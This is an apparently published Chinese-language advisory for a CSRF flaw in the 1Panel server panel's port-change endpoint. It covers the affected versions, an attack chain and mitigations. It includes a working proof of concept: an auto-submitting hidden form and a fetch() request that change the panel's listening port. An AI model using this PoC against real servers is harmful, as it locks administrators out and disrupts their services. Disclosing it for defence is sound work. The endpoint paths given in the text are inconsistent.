IPBUF安全漏洞报告
English
CVE-2025-34429 CVSS 7.1 高危

CVE-2025-34429: 1Panel Web端口配置CSRF漏洞导致服务中断

披露日期: 2025-12-10

漏洞信息

漏洞编号
CVE-2025-34429
漏洞类型
CSRF(跨站请求伪造)
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
1Panel

相关标签

CSRF跨站请求伪造1PanelWeb端口配置服务中断高危漏洞CVE-2025-34429认证绕过

漏洞概述

CVE-2025-34429是1Panel产品中的一个跨站请求伪造(CSRF)漏洞,影响版本从1.10.33到2.0.15。该漏洞存在于1Panel的Web端口配置功能中,具体是端口变更端点缺少CSRF防护机制,如anti-CSRF令牌或Origin/Referer验证。攻击者可以构造恶意网页,当已登录的受害者访问该页面时,浏览器会自动携带有效的会话Cookie提交端口变更请求,从而成功更改1Panel Web服务的监听端口。这将导致用户失去对原端口的访问权限,造成服务中断或拒绝服务,甚至可能使服务在攻击者指定的端口上暴露,带来额外的安全风险。该漏洞无需认证即可被利用,但需要用户交互,CVSS评分为7.1,属于高危级别。

技术细节

1Panel是一个现代化、开源的Linux服务器运维管理面板。在1.10.33至2.0.15版本中,Web端口配置功能存在CSRF漏洞。漏洞的根本原因在于端口变更API端点(如/api/port/change或类似接口)未实现CSRF token验证,也未对请求的Origin或Referer头进行有效校验。攻击者可以创建一个包含自动提交表单的HTML页面,表单指向1Panel的端口变更接口。当已登录1Panel的用户访问该恶意页面时,浏览器会自动携带用户的会话Cookie发送POST请求。由于服务器端未验证请求的来源合法性,攻击者可以成功将Web服务端口从默认端口(如65421)更改为任意端口(如80或443)。攻击成功后,管理员将无法通过原端口访问管理面板,造成服务中断;若端口被改为高位端口或关闭防火墙端口,则可能导致服务完全不可达。攻击者还可能将端口改为常用HTTP/HTTPS端口,可能绕过某些安全策略。

攻击链分析

STEP 1
步骤1
攻击者创建恶意HTML页面,包含自动提交的表单指向1Panel端口变更API端点
STEP 2
步骤2
攻击者通过钓鱼邮件、社交工程或恶意网站诱使已登录1Panel的管理员访问该页面
STEP 3
步骤3
受害者浏览器加载恶意页面后,自动发送带有有效会话Cookie的POST请求到1Panel服务器
STEP 4
步骤4
1Panel服务器因缺少CSRF验证,接受请求并将Web服务端口更改为攻击者指定的端口
STEP 5
步骤5
管理员失去对原端口的访问权限,导致服务中断;若端口改为非预期值,可能造成持久性拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CSRF PoC for CVE-2025-34429: 1Panel Web Port Configuration Change --> <!DOCTYPE html> <html> <head> <title>1Panel Port Change CSRF PoC</title> </head> <body> <h1>1Panel CSRF Vulnerability Test (CVE-2025-34429)</h1> <p>This PoC demonstrates CSRF vulnerability in 1Panel web port configuration.</p> <script> // Auto-submit the form when page loads window.onload = function() { document.getElementById('csrfForm').submit(); }; </script> <!-- Change the port to 8080 - adjust 'new_port' value as needed Target endpoint may vary based on 1Panel version --> <form id="csrfForm" action="http://target:65421/api/settings/port" method="POST" style="display:none;"> <input type="hidden" name="port" value="8080"> <!-- Alternative parameter name --> <input type="hidden" name="new_port" value="8080"> </form> <p>If port change was successful, you would see the response below:</p> <iframe name="responseFrame" style="width:100%; height:300px;"></iframe> <p><strong>Note:</strong> This is for educational and security testing purposes only.</p> </body> </html> <!-- Alternative PoC with fetch API --> <script> // Async CSRF PoC using fetch async function exploitCVE202534429() { const targetUrl = 'http://1panel-server:65421/api/settings/port'; const newPort = 8080; const formData = new URLSearchParams(); formData.append('port', newPort); try { const response = await fetch(targetUrl, { method: 'POST', mode: 'no-cors', // Bypass CORS for CSRF credentials: 'include', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: formData.toString() }); console.log('Port change request sent'); } catch (error) { console.error('Exploitation failed:', error); } } exploitCVE202534429(); </script>

影响范围

1Panel >= 1.10.33 且 < 2.0.15

防御指南

临时缓解措施
在官方修复版本发布之前,可以采取以下临时缓解措施:1) 在浏览器中启用CSRF保护插件,防止跨站请求;2) 使用独立的浏览器配置文件访问1Panel管理面板,避免与其他不可信网站共享会话;3) 定期检查1Panel服务端口配置,发现异常及时恢复;4) 配置网络层防火墙规则,限制对管理端口的访问,仅允许受信任的IP地址访问;5) 启用1Panel的审计日志功能,监控端口变更操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表